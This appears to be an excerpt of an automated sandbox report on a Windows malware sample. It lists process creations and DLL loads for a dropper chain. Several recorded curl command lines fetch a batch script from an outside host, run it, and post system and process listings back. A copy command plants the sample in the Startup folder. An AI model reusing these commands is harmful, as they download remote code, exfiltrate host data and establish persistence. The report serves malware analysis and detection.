Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -Lo "C:\Users\user\AppData\Local\Temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/"
Source: C:\Windows\SysWOW64\curl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c "C:\Users\user\AppData\Local\Temp\tmp.bat" > C:\Users\user\AppData\Local\Temp\tmp.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -X POST -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -H "X-Sec-Id: 1" --data-binary @"C:\Users\user\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"
Source: C:\Windows\SysWOW64\curl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe "C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c systeminfo > tmp.txt && tasklist >> tmp.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe "C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe "C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe"
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe "C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe"
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Process created: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe "C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014404001\0685f09fda.exe "C:\Users\user\AppData\Local\Temp\1014404001\0685f09fda.exe"
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -H "X-Sec-Id: 3" -Lo "C:\Users\user\AppData\Local\Temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/"
Source: C:\Windows\SysWOW64\curl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe "C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe"
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c type "C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe" > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -Lo "C:\Users\user\AppData\Local\Temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/"
Source: C:\Windows\SysWOW64\curl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe "C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe "C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe "C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe "C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe "C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe "C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014404001\0685f09fda.exe "C:\Users\user\AppData\Local\Temp\1014404001\0685f09fda.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe "C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Process created: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe "C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c systeminfo > tmp.txt && tasklist >> tmp.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -X POST -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -H "X-Sec-Id: 0" --data-binary @"C:\Users\user\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -H "X-Sec-Id: 3" -Lo "C:\Users\user\AppData\Local\Temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c type "C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe" > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -Lo "C:\Users\user\AppData\Local\Temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c "C:\Users\user\AppData\Local\Temp\tmp.bat" > C:\Users\user\AppData\Local\Temp\tmp.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -X POST -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -H "X-Sec-Id: 1" --data-binary @"C:\Users\user\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -H "X-Sec-Id: 3" -Lo "C:\Users\user\AppData\Local\Temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c type "C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe" > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -Lo "C:\Users\user\AppData\Local\Temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c systeminfo > tmp.txt && tasklist >> tmp.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Process created: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe "C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe"

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: userenv.dll	Jump to behavior
